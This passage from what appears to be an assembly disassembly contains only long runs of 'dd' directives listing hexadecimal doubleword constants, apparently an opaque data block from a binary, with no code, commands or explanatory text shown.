0FD8DA4EDh, 7CD5D252h, 7C0DAA85h, 0BFFCC986h dd 0B4C265Ah, 0E0C8BDF1h, 0C6641B94h, 0FD8CA9BFh, 8F67CAFh dd 0B5796132h, 6AE46F5Eh, 2AFE5922h, 0A5BD1B06h, 7873DAE2h dd 7F761EFh, 51D9CF14h, 98A6D21Ch, 0B8D021Ah, 22CBD0DBh dd 0E00048A7h, 0A47877ECh, 4D23C579h, 1FAD47F6h, 0AE4D0EA3h dd 2B40FD2Ah, 13A5BEEAh, 0E712430Dh, 0F858821Eh, 1D32EF76h dd 0F7BA8DBh, 0E554BCC8h, 68ABA919h, 5294EF62h, 8F3C1233h dd 6D113BBBh, 0E45BE6C5h, 1C992D7Ch, 73813193h, 0E607FAC8h dd 0DA31DACDh, 331D18F8h, 0D712C1A4h, 7D3AE2C3h, 7BB737AFh dd 0B154BDF7h, 9668B7A2h, 0A8E7DC0h, 756345EAh, 0F73AE8D7h dd 0C6472F55h, 4EB95FDEh, 0F53989EAh, 2C128B41h, 0BB05B0A3h dd 24F6458Bh, 9453EFB9h, 6DC71045h, 6C2BD5FBh, 32C2A781h dd 4AB76A9Ah, 129B5D16h, 2B71D83Ah, 8C76D3EFh, 0D96D8158h dd 91659A3Ah, 0A82A457Bh, 25F3502Ch, 0A0BFF354h, 0E9D12B74h dd 4D9C23Dh, 0FF00F6EDh, 821C3B21h, 7EF47440h, 6C32538Eh dd 48B364C7h, 29B80F4Ah, 1B84EC18h, 0F78D35EFh, 2E84F0FAh dd 47B999CEh, 2E50297Eh, 0BB668F04h, 691A8D20h, 7A544B08h dd 0C31C7618h, 672C7AACh, 2C705521h, 0C23D80CEh, 8848F396h dd 6EBF2A96h, 0D38C6F09h, 7C3200EEh, 0B09A538Ch, 3F704612h dd 0EDE00301h, 16B53AC8h, 6FCCD01Fh, 0D7E29DCFh, 815CE702h dd 0B0158200h, 977D23F3h, 0D63FB6A8h, 5F862F7h, 0E39925DCh dd 5D452271h, 7B6E1C82h, 9F5D3BFDh, 36F08811h, 0FBE084D5h dd 1776F51h, 0A288149Ch, 858DC452h, 3B23CA4Dh, 0CB274202h dd 8E94395Bh, 0F7BB3362h, 3F7B7F2Ch, 7B65597Ah, 0D2C37304h dd 0A7FD936Bh, 16D62758h, 0A7A9AEE7h, 0DCC990B3h, 9B2A42ADh dd 121637B9h, 2A84A3FBh, 8497D97Fh, 0F5FE7AA2h, 0E0EA1D15h dd 0BFB1D1D7h, 0C2EE3912h, 51A27A36h, 0B6536438h, 14A8B03Bh dd 0A608B617h, 21DA2A6Ah, 5ADFAEE5h, 571083E2h, 39047BDDh dd 0B991E691h, 0FB4F9B69h, 63D0365Eh, 1BB44CF0h, 0EC02BF2Eh dd 59C31C16h, 62EB8E1h, 3C15EA6Eh, 0D39CAF74h, 29BF6379h dd 520B132Dh, 3C879549h, 31B02BA0h, 77EE142Bh, 8BDF6645h dd 7C135567h, 0F93FD68h, 0EAC70953h, 0C17ACA87h, 41EB926Eh dd 0FCF6356Fh, 0D637204Ah, 0F61FB722h, 9C52AD02h, 1B20588Bh dd 9DFD38DCh, 0B6FE4D6Dh, 4E6AD53Fh, 9066F080h, 0E2D388C0h dd 0A9A56ECAh, 6A6F9574h, 0E7E15C4Ch, 0FBCECC89h, 7BB299D3h dd 0C36DE82h, 44556F61h, 985926F8h, 103B973h, 0B86ADF12h dd 91F5E7E1h, 0D51392C3h, 0B3B4782Ch, 2A4F050Fh, 0EDB4E7D6h dd 71535C1Fh, 2769A107h, 0C26FB4D0h, 0B3294C59h, 36E4986Dh dd 17257BCEh, 0F6CA9DF6h, 2BEADCCh, 0BED7F56Ah, 862861D3h dd 370638BBh, 9F856B36h, 3B0186C0h, 0F1EF8034h, 898C4670h dd 9FDD7317h, 877A3505h, 15773A2Ah, 289210ACh, 643F6A5Fh dd 2F1FE21Ah, 0D1E7848Dh, 6D50E9EDh, 0AA28BEA8h, 1096FE62h dd 0B4FC931Ch, 0C03E9044h, 1216688Eh, 13F499AEh, 56B36D8Dh dd 0E0BDAFC9h, 7885D05Ch, 5E2A791h, 44AEABF0h, 7FFBDD19h dd 13ED614Ah, 0E576EE76h, 0FA67C23Dh, 3CDF523Dh, 190B164Ah dd 0BE2A3777h, 23FA6B30h, 47C06C4Eh, 7A90A6A7h, 0F3AA999Eh dd 0BA5A9384h, 2FF877EFh, 67E4730Ch, 0BCF19CA2h, 0AC62F919h dd 0F4BC4895h, 0CDCE3B59h, 303743C2h, 0AA6E9FF1h, 3B7AF284h dd 73CABFE6h, 29F3448Dh dd 52BACDB2h, 0CB5C394Dh, 99995305h, 96109830h, 8A703C34h dd 0D7374A79h, 0A170C263h, 17C673DDh, 0A4A1E184h, 0A3B2AD10h dd 835D9266h, 2D4F5BF0h, 0C5C8716Bh, 0BC338E42h, 71FCDF99h dd 9D005C2Ah, 1465A48Ah, 5E94BAD2h, 9CA63AA0h, 0F93D8AACh dd 428F08FEh, 0D2C55EF5h, 2EE293ABh, 91AC1BBDh, 0EB9BC83h dd 6AE738F7h, 8C8EDE39h, 0CC72FFC5h, 0DDC6C924h, 0BB6BDA30h dd 728B366Dh, 7BABBB06h, 0BCF4BB10h, 0F24C9EF2h, 0C2A83848h dd 62606679h, 0CBCAB903h, 0A5B799A0h, 0DA8BA9A1h, 1FBE6752h dd 306AD110h, 6C16424Bh, 9AB10E6Eh, 1114CDB5h, 0F3893Ah dd 61F54CF7h, 0BECD7566h, 3E06BD8Ch, 40C3D138h, 0FAC256Dh dd 211F26F6h, 7E95804Ah, 52E4B45Ch, 9E711672h, 23766AEBh dd 3EB46E02h, 406B4D3Dh, 0E0B62BFEh, 25207884h, 105039FEh dd 1223410Eh, 712AFD7Dh, 0E7AFA440h, 0E4F369BDh, 0AE97EFE9h dd 0E25C5616h, 8C0BB864h, 0C017EC11h, 0E37C309Ch, 75F3B8B7h dd 0CEA0D760h, 0AFC40E23h, 0CDA0DAAh, 18ABB35Bh, 18D0238Eh dd 853FE341h, 9FFD557Fh, 37BE7EC6h, 0F56CA52Bh, 7213AFC3h dd 0C1BCCDD7h, 551600F2h, 44C77676h, 0CEF5694Eh, 0F5E296AEh dd 9CE0E386h, 2643398Ah, 0E07D604Fh, 0B3DEFB67h, 0DCFF21ECh dd 5A06A84Bh, 0E5C5D999h, 71CACC4Ah, 0BA29593Eh, 441CD1Fh dd 3514E473h, 43C1E709h, 796BB831h, 0FBBB7E8Bh, 39805992h dd 513D3D95h, 76A17CFBh, 0DBFC53E1h, 947EDD2Eh, 0F72E6A4h dd 9CA7AC6Ch, 2981300Ah, 0E996DD73h, 316EB3BAh, 586305ABh dd 0B9B6768h, 0B9A57369h, 0AABFCA2Fh, 32E046FAh, 60602EF6h dd 7FF0B999h, 2482F9BEh, 0DD5B1237h, 826C7F8Ch, 69B3C2F1h dd 0ECB368FAh, 6232476Fh, 0B7034C70h, 0D85DF579h, 34E9DCB1h dd 0BACCF7CDh, 369E3ABAh, 0F30D5B6Eh, 8306401Ch, 0C958E669h dd 0C00BCC5Ah, 8345A1E8h, 238551E3h, 1A0F2949h, 65637AE1h dd 0DA83D167h, 49592614h, 5D4C84F9h, 0A5516F6Fh, 51A62DB2h dd 358F9E00h, 0EB3FC7E4h, 103C5188h, 0D24F5BB0h, 0DE20A73Dh dd 9EDB6D75h, 0ACA2477Ah, 8029C27Fh, 7558591Eh, 3C3109B8h dd 0A4242BCEh, 89190642h, 43350C84h, 33FD4CC8h, 133E835h dd 0EE6B3CEh, 0DFCBBC0Eh, 380A6B4Eh, 0DD6F06C5h, 0FCE1D73Fh dd 1119BF53h, 53AD1BD4h, 1966D1E1h, 0FE6D578Fh, 56AB11AEh dd 7B468327h, 0AFC9CF1h, 0D009F21Ch, 9393C8E2h, 3728F906h dd 8E141BFBh, 0BAC51775h, 71B90CC2h, 0B368AEC8h, 0AF46AD00h dd 0B2FD596Fh, 9A719E7Dh, 46BE99BDh, 3CA12E3Bh, 0AC0F86EFh dd 85232991h, 0A330143Dh, 457342E8h, 0CDA6FABFh, 0D00F731Bh dd 0D48EE77Dh, 0DECC25FBh, 0AAD4B090h, 95131DCFh, 4FB6365Fh dd 3F4E1076h, 38E676D6h, 0A92267DDh, 1AC4CA3Ch, 0DBDABD01h dd 4962F5C4h, 4ECBC979h, 0FC5BC7E3h, 5364BDD4h, 99063DB4h dd 0E028FF37h, 3CA5E4F6h, 0D177008Bh, 0C3CFB769h, 3735CC6Ch dd 94244160h, 0E05E2CAEh, 0DFF18645h, 1EF87D1Fh, 0D50FE2CAh dd 33BFAB54h, 38300984h, 0BCBDF220h, 29EDF659h, 0CDC135D5h dd 0A05A4CB7h, 0B3CCE981h, 0BFE2A6EDh, 0AC62D6EFh, 4CF10EFBh dd 0FC04C92Ah, 75EC4DEDh, 8FA0908Eh, 0F98A5917h, 55CB70A6h dd 0F1532D98h, 0C345548Bh, 4813E940h, 18B75DBEh, 0E5602663h dd 4832928Fh, 51FC2150h, 5224F5C3h, 0C7DDCE8Fh, 2319E51Fh dd 492EBD8Dh, 0D621064h, 7E227819h, 0D2B8CBC5h, 0E3E8DBCDh dd 1137CFE9h, 4B569A1Bh, 35695C0Fh, 0F753AAD0h, 0EAC540DCh dd 8412D6B7h, 48708391h, 3F5041D7h, 22DF13DDh, 75BB7B6Eh dd 63F8418Dh, 3D4C2AA1h, 573ED9D1h, 45393669h, 0CEC086FBh dd 75303A46h, 23011757h, 233D13Ah, 415FB6EDh, 14119F0h dd 8D4ACE83h, 1F90D51h, 7A65C451h, 0C5DBD8A7h, 0D463CE77h dd 2EC62303h, 5C0B9E0Bh, 0AD38EF9Bh, 0FAA98D16h, 9143DF1Fh dd 0AF3076D7h, 0E86200FCh, 3D28081Dh, 0C57E4BD9h, 0E19F3A5Dh dd 5E832A74h, 0A67F5AF2h, 55721F46h, 454933D0h, 5E3B93DEh dd 0B48BBF4Fh, 0E848C7DDh, 4079A97Fh, 0CEF0F090h, 52C3940Dh dd 81379B1Dh, 44D06DD1h, 5D7F034Fh, 14BB5AE9h, 0E158601Ch dd 81FFE188h, 5B0B3BEEh, 8707ED22h, 141B62B2h, 6D99C20Fh dd 0CBC18372h, 4AD3923Ah, 0E280381Eh, 0C6D42CF9h, 0FCEF342Dh dd 0BF259834h, 7D4DE969h, 3FB4D6BBh, 3E09F213h, 1DF9AD63h dd 8084C0CCh, 5124C972h, 610B5048h, 418C2EB5h, 0ED4B175Bh dd 9946CBE2h, 0A8923DC2h, 54725559h, 7F31ADA5h, 7D85697Ch dd 1C0FD88Fh, 0D02F075Eh, 6221A422h, 80DC9976h, 0EA267FFFh dd 0F6098082h, 0C943675Ch, 72BCD104h, 5B595930h, 968FF438h dd 0D67D9809h, 376E8006h, 0BA647DAEh, 79836532h, 0C6AB97B1h dd 79601172h, 59834138h, 0B8DB82A0h, 1936E5D4h, 9A2F5CFFh dd 41583590h, 0BC275B0Ch, 0F4D3445h, 68DD92D4h, 0C734B63h dd 0C84423C6h, 0CC92873Dh, 9F8CB018h, 0A45C77A1h, 2D3D9791h dd 0FAAFE405h, 1FBF7B95h, 968949D3h, 7AB18C1h, 8122F25Ch dd 25C8E749h, 8FAE07E6h, 3263DA48h, 58DF8CB8h, 618E8661h dd 5F0A18A5h, 72791F9Bh, 0F9500020h, 23CDF158h, 0CA720772h dd 73A04D2h, 3300A1BAh, 5C75789Fh, 0D3620AC8h, 4F7D78F8h dd 73128DB8h, 0D1311296h, 0AFA200C8h, 1848F766h, 0C77CF5E4h dd 0F9B54693h, 38E82FBAh, 99F33740h, 0BA46C1ACh, 0E0020E10h dd 2233C11Fh, 181D499Ch, 0EB843BB0h, 914BDA5Bh, 9250A457h dd 1EAEC1B5h, 0B9D38D81h, 0ADCB13F3h, 687F2F61h, 2F143F23h dd 0D9F4F21Dh, 0EA8AF74h, 0D8544BA8h, 5173536Eh, 40219DDCh dd 0DEB12AFBh, 0D29D8E1h, 47A7E9B9h, 7EB95D98h, 0E00BC7EAh dd 0C00F24A2h, 26C7F3D1h, 9260DF5Ah, 2459107Bh, 0CE0D6774h dd 5E9C9B5h, 84FF045Dh, 98C6C46Eh, 3813A3C1h, 0DA5B5360h dd 7026AE81h, 0CC02C033h, 0B29DB9C1h, 0C3041B72h, 0EECEBBDAh dd 0A91EFEC1h, 0A221F2Bh, 1340C7Fh, 8BB6F9D3h, 0B88FA69Fh dd 0D17577E7h, 0FF2B0EF4h, 9FEFE88h, 0C78D9905h, 0AE1D3E46h dd 0EBB8E3Dh, 7218DA6Bh, 79E3A797h, 3345CD9Dh, 22AA448Ah dd 8B5695B4h, 0BD34DB79h, 0D9DEC067h, 7F2F1274h, 49B6A809h dd 1F8A65EAh, 0AC44B739h, 0A297D00h, 0DE7BAEC5h, 68D52430h dd 0E2C7EE58h, 81CBB1DBh, 323AF132h, 0CB282003h, 0B3E40844h dd 45E6C199h, 304D12ACh, 984B4F30h, 683B5C04h, 0A20907A6h dd 6F07CA9Eh, 0FA6E3875h, 0B17C18A3h, 3820269Ah, 0C35DC3CDh dd 0AF914ADh, 0E96F91D9h, 0F92944F2h, 994C2A98h, 48723A2Eh dd 5C95AC2h, 1CD02E9Ch, 0DB09F731h, 755A34EBh, 0D12CEA50h dd 1BC1E25Ch, 0BE1E6648h, 3E086F0Ch, 3A112408h, 8FF72F07h dd 0FAC54D5Ah, 37EA33E9h, 0F6AD5B01h, 0BB602DD0h, 0EE2119EEh dd 9AC8C19Bh, 0A5C61747h, 8FF30478h, 79C931A7h, 65C52F52h dd 1AB5950Ch, 0E64B6AA1h, 0F963BFDh, 5F4E9FA4h, 98EEA4C4h dd 3112FC37h, 93E37620h, 685ED4CEh, 3E4D93Dh, 982F0ED0h dd 0CE99A79Eh, 0B806A816h, 0C3FC379Fh, 820DC2B8h, 0B377632Ah dd 0B7BD560h, 6EB524B1h, 0ACE8B88h, 0B4BB990Eh, 4C2D1B0h dd 0A22DB4A5h, 0CB42109Ch, 3F95A263h, 57C77CDCh, 0FF3C94ECh dd 0B8DD03C5h, 759A974Fh, 21065228h, 50FAF0D7h, 841029DCh dd 67302F6Fh, 55A52973h, 17297F29h, 328E4787h, 0A76DD5D1h dd 7DC388F8h, 1858E868h dd 0A1BC46B4h, 46F1676h, 0DD6A992Ah, 0FD24E1F6h, 0FF08CE04h dd 4433C61Ch, 2C618550h, 6F66CD52h, 0BDD7ED08h, 3AFB2471h dd 146E5F8Ah, 4B599AA5h, 837898B7h, 7293D7FFh, 0CC369B78h dd 0C86552CFh, 4D625DDCh, 46AC3F2Ah, 0DB424B60h, 2260C83Ch dd 4AA7D5A3h, 40A94174h, 0BAE04F74h, 0A5E3A557h, 0F44B39F5h dd 6C07ED20h, 61EB8835h, 32ED1AE3h, 25317645h, 11461EBCh dd 0A276477h, 0D79C21Ah, 0AED6A490h, 0A6CD79EDh, 385B5803h dd 0A41815AFh, 57CDAE5h, 311E8A44h, 0C1E02CCAh, 0FC340A1Eh dd 0B0441303h, 54D18902h, 1E04C307h, 3D18BDECh, 0DD2B18BFh dd 0D5C81C3Fh, 0C0B88467h, 538A2F70h, 0C8ED56F1h, 0D3D9D9F6h dd 38F5B766h, 548032F3h, 1E3BE850h, 0A732D0Dh, 0A88207B2h dd 0D38239C7h, 5FA7AEBAh, 41C229EAh, 0F2C8E217h, 0EEA0C585h dd 0A29FDC84h, 3A26FA10h, 0E8D2E7DEh, 8E52AB6Ah, 0B4C318EDh dd 96EBBFC5h, 1F0C77E1h, 7A8D58C9h, 759D7FB6h, 21B245C4h dd 7D613CB5h, 31651BF7h, 521BBE38h, 0F116C430h, 5FBD3997h dd 0CB98A6F8h, 36AFD98Fh, 3197E76Dh, 0B301C3A3h, 95D0A360h dd 0A9B6BD7Dh, 2177CC32h, 7CA27222h, 0D110B09Dh, 9320ACE2h dd 0AAC74211h, 0CA7F2A3Fh, 292D9E8Eh, 2C7C983Bh, 6654A826h dd 76E491DCh, 798EC866h, 1018C9h, 3A86D130h, 0D81A84F2h dd 8B4ADA15h, 987A662Ch, 9033AF85h, 7406905Dh, 354E2822h dd 4B04855Ah, 0ABEBF67Ah, 40641472h, 0E4E7374Fh, 0C677AAA7h dd 17E94229h, 0E2A02385h, 55B8DF14h, 8B6E7293h, 0F2366004h dd 7E5AE6BBh, 4F6C2059h, 2E0CFB63h, 0BE4423AAh, 0B2FBD56Fh dd 76CB5056h, 7D9D770h, 0D9871A7Ch, 742C2F5Ch, 336AF7CFh dd 12F3546Dh, 518E30ACh, 0C1A8E0Fh, 0CD6732Fh, 0DE35C2AAh dd 150989D2h, 49BE2B77h, 56DD9CA8h, 0C841F805h, 9A3517E9h dd 0D03BD5CEh, 0CAB09C45h, 0AF1A9344h, 23CE589h, 0E99CB904h dd 0BD8F9044h, 704D6D33h, 0E4EE609Fh, 0B5CD8FD9h, 0E47485FAh dd 1492D5C8h, 0AB7D40AEh, 0D16145F4h, 0D6783EDFh, 5DC5281Fh dd 0FC371546h, 67A14C6Dh, 0F74300D4h, 2C5FDBFh, 0F931019Bh dd 0B020AF97h, 0C167C1Bh, 27BEFE01h, 5BDEFEAEh, 39C8197Ch dd 0AFC6BC30h, 0CBEB8DCh, 6456C37Ah, 3153AFC8h, 5E2A8BBCh dd 5937D393h, 0DDD71E4Dh, 15B08473h, 67D67F10h, 0ADB84917h dd 5DA82194h, 15FFB851h, 288341E6h, 0A9CC1090h, 25FF590Ah dd 71523704h, 0C290B4B9h, 0E0115104h, 33C48026h, 6D328067h dd 8DA14990h, 9B42CE9Eh, 0D6CE213Bh, 711FB747h, 508F8494h dd 0C439953Ah, 2A355BDBh, 0B84D4A50h, 6E2CD36h, 50F8A42h dd 0A008F198h, 0FFE6B85Bh, 5E55ABA7h, 1775522Ah, 6F96F688h dd 0E271B8C9h, 301BCBD3h, 0F1180645h, 63768E71h, 0F8A845C2h dd 0E57A1844h, 63BBF092h, 94A6B30h, 3930D649h, 0F7E49173h dd 3F1E711Ah, 0CB9DAA1Fh, 4F69885Ah, 7DFE2298h, 0CD0F7473h dd 0FE0B7693h, 0FE644B2Bh, 7DF0BD57h, 0A1A02D60h, 94970118h dd 9EC840A6h, 743670h, 84C97A7Ch, 8C3DB234h, 46F186BCh dd 81368CF2h, 7D5887F2h, 8BED51AEh, 0C445190h, 7A7359EDh dd 16FF19F0h, 0EBA5E5A2h, 474853BCh, 92BFEF72h, 868FFC6Eh dd 5EA3D597h, 86116A6Bh, 36372AAh, 0BDB74F1h, 0D472530Ah dd 89684397h, 0E040B61Ah, 0B8DECB39h, 0C4FAFDEBh, 5C8A238Ah dd 396EDFBDh, 0B58E744Ah, 4D2E5C1Ch, 3F007922h, 23C8F235h dd 370E2934h, 123819Bh, 0EF9110B1h, 62605F37h, 0BFBCAC3Bh dd 990295D8h, 4500C794h, 0ADFF054h, 889E953Ch, 0E7A354A5h dd 4B2F5A04h, 39D1306Ch, 1B340C79h, 0C64DAB5Dh, 0CA61FE76h dd 5D0263h, 0BB4A9BF1h, 75BE11DBh, 0F0A31564h, 27DA1901h dd 4DFF44DAh, 1D7074C6h, 6536E8D9h, 25A11C5Ah, 0E544892Dh dd 17AF53Ah, 0B6EB5485h, 85731C3Fh, 86A7C478h, 0DBCD33B1h dd 0E79099C7h, 0E072A2D2h, 67AC6E43h, 94EC1DCBh, 190CAC08h dd 0D3C7B405h, 0BF15144Ah, 0AEFC9309h, 869649CDh, 0AD232152h dd 0E81A6AFFh, 22B0AB46h, 0A2E9C883h, 0DF705344h, 62282506h dd 6E49FABBh, 0C862A3E9h, 58ECDE7h, 8D904F72h, 47598838h dd 98536BE9h, 7FAA67E9h, 0F0F977A9h, 17266AFh, 0A138D94Eh dd 4389DEA5h, 32227C71h, 0B38263D5h, 4BEEFF7h, 14E5F539h dd 306E0249h, 0D74F7314h, 85ECE90Eh, 279996ABh, 95806D0Eh dd 5156C7CBh, 34097F5Dh, 74361B6Dh, 0C402C556h, 2843EF92h dd 65BA82A1h, 0EA278955h, 4421F35Ch, 37E46BAAh, 0ED923EF0h dd 0A4532ECDh, 0DAB56924h, 0D2888EBBh, 0CBD4F08h, 13C13380h dd 0E06BD5AEh, 0F5850E5Fh, 1BB07627h, 77E6DC5Ah, 528B404Ah dd 927AB539h, 0E75B7CBEh, 73A76635h, 0A37833Eh, 8D95C37h dd 0E51A0B93h, 9381D12Ah, 0A9850FDAh, 98E84B98h, 90855F2Ah dd 19882DD9h, 15F9AF8Ah, 21F5ED0Ah, 916655CCh, 934769B7h dd 0E272DF29h, 89D91F7h, 93EDF3EDh, 39FB3391h, 5EB29D56h dd 6D00DA8Bh, 0B8B10AFCh, 7CF33110h, 0E0338E65h, 0CADD9501h dd 29D530ECh, 14F21FE2h, 5E2E8892h, 41AF6727h, 5CF2400Ah dd 0F63AF461h, 48014657h, 0E34905B8h, 220C364Ah, 511B2078h dd 0DAACDA8Fh, 96137F11h, 3C1C3B89h, 0C3892E24h, 533BABA8h dd 2EACC98Bh, 0F6138575h, 36F4FA6Fh, 400EAA73h, 0C9FB68C2h dd 20AEFAE6h, 0A8873166h, 6A4EF15Fh, 65EFA1F4h, 0C8B9D13h dd 9AC5C3FBh, 0EBFB77F2h, 0C25429EFh, 0BC0C1140h, 0A659019Ch dd 0E3A25E44h, 55834DE1h, 59E83A8Ch, 0FD4E3CC7h, 68FB539Fh dd 0FC715AB9h, 9B937260h, 0F21D4E2Ah, 0C6C44B2Ah, 0BBB071D0h dd 66A3D4BDh, 7E88BA86h, 5086E0A8h, 0C5B65451h, 5CBC3796h dd 77B3756Fh, 964D19ABh, 0E5B5DC9h, 0A7348198h, 56D79B7Bh dd 706B66FEh, 0BB52931h, 1F3CB192h, 0BE353A34h, 7603FD84h dd 0F9B07DBEh, 5E18446h, 3A29581Eh, 0CC901FDDh, 7EC0FDEDh dd 0DD6F0A72h, 5338912h, 0E085C6A5h, 726E9BFBh, 1AD8E4BEh dd 683F7F2Dh, 9D9BFA06h, 79FAC334h, 0B6E0169Ch, 0DE789608h dd 32DD0DD3h, 0F5FCDA56h, 3967DB90h, 21BB457Fh, 4A16041Bh dd 2A92204Eh, 0D2C2283Fh, 183D911Eh, 368B9DECh, 8139CCA6h dd 0FAA4BADBh, 2A333886h, 0CEE8BE39h, 0BF6CCE7Ch, 7B4B839Bh dd 0B64DB22h, 100B79E2h, 9959B891h, 0A8FFB950h, 0A8D6577Eh dd 0BF6695C0h, 57823F96h, 0CA6ADA06h, 0EC978713h, 207A5BA9h dd 83B130E3h, 1DFA9656h, 1999F2D7h, 736EF2F7h, 1B50A67Dh dd 3504ABC4h, 24EF003Ah, 0B92E8EF3h, 0B3C32DCBh, 954FFE0Dh dd 674FCCB9h, 0B0D3F4BCh, 1D369F48h, 0AC4CE602h, 4627792Fh dd 0F430A3DCh, 0E3533911h, 0B0386FF8h, 4C3BEBCFh, 406A6205h dd 51F7C431h, 0BFF7ACh, 0D4DE2FACh, 0B45FFA85h, 1012797Ch dd 545F5B9Eh, 425A638h, 4CB21FD0h, 206ACB03h, 0CB3002E5h dd 954C350Fh, 0D8BD1521h, 1C395FE7h, 0D7BBA5C5h, 0BFD9C066h dd 0F66656E9h, 178660EDh, 0B56D70A9h, 97C09A08h, 0DFC24F12h dd 0B16052E1h, 0B87F0B86h, 0CF187664h, 0B46E11FCh, 94D473EFh dd 5B836B4h, 0E73DD524h, 5F31B0C7h, 0F32B36FFh, 0B8F2371Eh dd 9A4A9560h, 0BFB01AEBh, 7CEE090Eh, 377A390Bh, 0EE257721h dd 0D364EF62h, 0F7DFCD8h, 2DA54B1Ch, 0D2D697B4h, 428D232Eh dd 0E9DE2432h, 86ABD02Eh, 0D1933C0Ah, 71AA793Ah, 0F39BA702h dd 0FD0F3F76h, 1B069FF3h dd 854A2053h, 38F3B06Bh, 525E2A4Dh, 0D074B5FAh, 8552FD54h dd 0BBEE5296h, 8E250D22h, 0D0E65A99h, 1D792EBEh, 5F32A7DCh dd 29B2002Eh, 2D2AB93Ah, 79EAACEEh, 50C2BDD8h, 84D7BACh dd 0B65C42E6h, 67125C2Dh, 36073143h, 5A9ADD6Dh, 0D0041854h dd 78E36EB0h, 7906E68Bh, 872251Dh, 465007B7h, 559206AFh dd 0E2AA33B3h, 0ACC5BCE5h, 0A69BC61Ch, 85197C0h, 0C4E44FF0h dd 0F7314191h, 1BE98383h, 64CB9040h, 4FF4B86Bh, 0EE14D75Bh dd 0D6D70634h, 0F46EE8DAh, 6DA948CDh, 0C5D7C4E6h, 4E396195h dd 1BE81655h, 26D9FB99h, 7CFC083Dh, 7FF9C81Eh, 86FEEFDh dd 0C47B5EDBh, 0B11BD3C3h, 610CC13Dh, 0B662DC25h, 691D94AEh dd 0B684C46Eh, 582B2BAAh, 0A3F09B83h, 5BA8A020h, 0C0ADAD99h dd 95E55287h, 758036EEh, 48709ADAh, 8AE9194Ch, 0B8D56A06h dd 0A5F25E66h, 36CE258Dh, 36F623DCh, 0FD5CE804h, 9DAA0674h dd 82AFC5D8h, 0FD8D2DFBh, 98A5007Ch, 8A172A38h, 2D9E2507h dd 52C54FE7h, 2EC8BA57h, 5ECF26F5h, 0FFBE32E1h, 0D59BFA18h dd 0A9A9D720h, 865A19A0h, 6143EC33h, 857B2706h, 6D149BC1h dd 0DC159C67h, 0E6A6DBh, 8EB08E83h, 712AC451h, 0A99A7F3Ah dd 46F772A0h, 5A1FD179h, 9C2BA193h, 181B7194h, 0F01C97EFh dd 0C37E8624h, 0B9611E13h, 9B45DE0Bh, 0AEBBA9A1h, 1BBAC261h dd 0C2758ACCh, 0E623B8E6h, 26DE0E38h, 8B44A781h, 559F3FEEh dd 0EF522EE5h, 44952764h, 7987F830h, 0C626F1B4h, 0E90AAE1Dh dd 83BCBA0Ah, 0E9DDEF5Ch, 98402D62h, 0CB29C814h, 37CAFCBDh dd 42650A10h, 4CE3E64Bh, 0C5C2C68h, 4A7968EAh, 26C6540Fh dd 0FA853567h, 966A4509h, 45166D95h, 0CA69076Fh, 20F9D0C0h dd 73423685h, 818D3D89h, 96D4F66Bh, 0C9DC8269h, 1001A6D0h dd 0FDB52EF6h, 1C867B39h, 1DCEF883h, 0CB5C929Ah, 3CEE120Eh dd 55CB9F6Bh, 0F98A3BDDh, 20771285h, 0BD72A129h, 0EDBDB785h dd 3B81F6C1h, 4B86D833h, 1DE765BEh, 804A947Dh, 69592C83h dd 33900F2Eh, 0D53C50D9h, 91B64A9Ah, 6A875AC8h, 0C8CD05B5h dd 3FA9FDCCh, 0A905E046h, 0A378E9B9h, 0D68C3DC2h, 63CA4F07h dd 409F5608h, 4DD5CB06h, 26197869h, 0C6F356BEh, 0C4FAECA4h dd 14ACB167h, 0BEE0BCCAh, 0C5D7221h, 792F1175h, 6235BC9Bh dd 8BD18762h, 3B8A2C8Eh, 0A3D8F255h, 0BBDD7900h, 1FDFDA54h dd 7BD90993h, 0B6573967h, 60D24B39h, 55BC12DAh, 6B203F6Ah dd 94E3D341h, 7233B636h, 0E8B80E7Ch, 67A80016h, 0F2A37D18h dd 0D518AF81h, 0FE33A1AEh, 3D3947F3h, 0C4D00F4Fh, 0FCAA5B55h dd 218A1F6Eh, 881CC323h, 71808F60h, 4C02A250h, 19617159h dd 197DD1B8h, 79605029h, 0B316A981h, 0EB750AAAh, 9F3353ECh dd 58848E26h, 8AA65CCBh, 0D6332D65h, 4BFEE041h, 63832118h dd 9B3E5450h, 7EA9D548h, 5538E9Dh, 0D852F8DBh, 0C6AE0B7Bh dd 8B303B60h, 8D990E82h, 5A380849h, 1062CBF3h, 64364109h dd 0F85BAB4Bh, 31F304BAh, 9AA1F783h, 0E0C1B46Ah, 0BD684B53h dd 0B3E244CDh, 8616BAFCh, 6E33DEE5h, 5DF10FD6h, 2B8F4FABh dd 0DE3CC4B8h, 53FF9A6Dh, 0DC034AAFh, 59176E91h, 0FEFDAD46h dd 3CFDCA7Dh, 0E6AB517Dh, 4D2BC594h, 0E6076357h, 0C4DA2721h dd 7EEB5B77h, 2CFB9D75h, 0FAF468A9h, 0B4153FECh, 7E0AE0CDh dd 0F80FADE0h, 0EFC5328Ah, 0DA16C62Bh, 1DD5EFE9h, 16EF7998h dd 735C00B7h, 0FD0CF9BDh, 976EA65Fh, 187CB1E2h, 0B21E38C9h dd 9B81A9C9h, 6CC302B5h, 0DC0C44E3h, 0E7CFA7B1h, 7F34A4Bh dd 32B3BF83h, 82609102h, 3F33C907h, 8E6B4802h, 2CBA72BFh dd 0DBED756Dh, 0A357F048h, 0C275BA96h, 22A27E46h, 0C44E5C7Eh dd 3A95AC4Eh, 924622E0h, 7702DE56h, 6CF0666Bh, 0B2457261h dd 29E96EB5h, 8608FDB3h, 7D0E6216h, 927C3E3Bh, 0B7E52576h dd 0BE7184EDh, 0C362F1CBh, 7705F45Ch, 0A79BE464h, 0E799C308h dd 0B027C0E7h, 2A2AEA5Fh, 0AB0C8238h, 1D31269Bh, 0B469E530h dd 7587ECDAh, 0E0AD0837h, 4BACF317h, 243EECFBh, 0F46C35A8h dd 0BCD214C7h, 0AC7D813Ch, 56CC39FCh, 0C1E9D175h, 0D5F29818h dd 857CC40Ch, 972A6480h, 347AEE22h, 1679EDA9h, 63ECCEC5h dd 0F0E2E25Ch, 95601B09h, 0F7FD9A84h, 909F54F6h, 23FFCDFAh dd 0B7FA2C3Bh, 0FB490A7Eh, 378A14E8h, 6A11C7A7h, 430A6137h dd 0B7701476h, 0F042DF13h, 65905701h, 4EDE7302h, 0A3790F02h dd 0B382339Dh, 3E3DAAF7h, 6DBA9C48h, 1C7DA6B0h, 49FD0AABh dd 0A706D987h, 3501C9D7h, 0C515D089h, 0C2C5E266h, 0E2484E02h dd 0EE9624ABh, 0D0751903h, 0A86B5279h, 57C4B5BDh, 